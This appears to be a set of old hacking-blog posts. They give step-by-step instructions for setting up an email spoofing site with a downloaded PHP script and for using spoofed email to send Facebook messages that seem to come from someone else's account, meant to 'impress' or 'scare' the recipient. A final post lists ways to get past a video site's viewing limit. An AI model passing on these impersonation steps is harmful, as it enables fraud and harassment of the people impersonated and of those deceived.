Email spoofing is a hack in which you send someone email and the your ID is what ever you want, that means you can send someone email from Barrack H. Obama's email account without logging into it. This is really old hack but was really difficult in the beginning, a Tutorial on how to do it manually with SMTP server is here: and a ready made site is Over here:

So lets make our own email spoofer site, I will guide you step by step!

STEP 1: Make an account on www.000webhost.com

STEP 2: Download this php script: http://www.mediafire.com/?vltc0283wdekj8l

STEP 3: Register any sub-domain in www.000webhost.com and goto its CPanel from List Accounts.

STEP 4: Then open File Manager under Files.

STEP 5: Here goto public_html folder and upload the php file that you have just downloaded.

Thats all your Email spoofer will be functioning just goto the sub-domain that you have registered.

Screen-Shot:
=========

How To: Message on Facebook from any account.

2011-12-27T12:28:00.002+02:00

Normally you receive a message from your friend on Facebook, but recently I found a very amazing Hack to send anyone message from whom-so-ever's account you want. This hack involve only basic knowledge of Facebook and computers.

Lets get Started.

============

For this trick first we need a Email Spoofing site, you could use http://emkei.cz/ or make your own site by following these easy steps > http://hackthepc.blogspot.com/2011/11/how-to-make-email-spoofing-site.html

Now we need two things for successfully sending a fake message:

The Primary email of the person from whom you want to send the email, you can easily get it from Profile page of the person or ask him.
The Username of the person whom you want to send the message. (like www.facebook.com/haseeblog ) here the haseeblog is the username. So the Facebook email will be haseeblog@facebook.com

Now you Just need to goto www.emkei.cz or your own email spoofing site that you had made. And fill the form.

In From Email give the Primary email of the person from whome you want to send the email.
In To Email give the Facebook email of the person whom you want to send the message. E.g( haseeblog@facebook.com , where haseeblog comes from the username of the user.)

Screen Shot:

=========

The victim will receive message like this , the problem is that the other person will also get a warning but still it can impress any one or scare the hell out of someone.

|NOTE: I am not responsible for any misuse of this information, I am just spreading the word.

How To: Bypass the megavideo 72 minutes limit.

2011-12-27T12:27:00.002+02:00

I am a big fan of watching films and TV Serials on-line, this way I can watch any film or TV serial any time without downloading it. Here the best website for the videos is MegaVideo, But Alas the site only let us watch only 72 minutes of video. So today I am going to share some hacks by which you can bypass the limits. Remember there are NO LIMITS FOR HACKERS.

Hack 1: Reboot Router.

The easiest way of bypassing is to reboot your router. This works on all the Dynamic IP's where rebooting your router gives you a unique IP address every time so after 72 Minutes you can reboot the router and resume the video from there onward.

Hack 2: Work Offline.

In this way you can first let the Megavideo load the desired video and when it is completed you can set the browser to "Work Offline". In this way you can watch the Video without the limit, but this way need alot of time and is hectic. And doesn't work on Google Chrome - my favourite :( -

By The the IE user can do it by going to File -> Work offline . same is with IE users, File -> Work offline.

HACK 3: Online Sites.

This the most easy and most effective of all without any head-ace. Here you use online Website to watch the Megavideo Videos. All you have to do is to Copy the URL of the Megavideo's video and paste it in these websites and enjoy!

The two Best sites are:

1: EZYWATCH

2: MegaStreaming

============================================

Happy Ending ! :)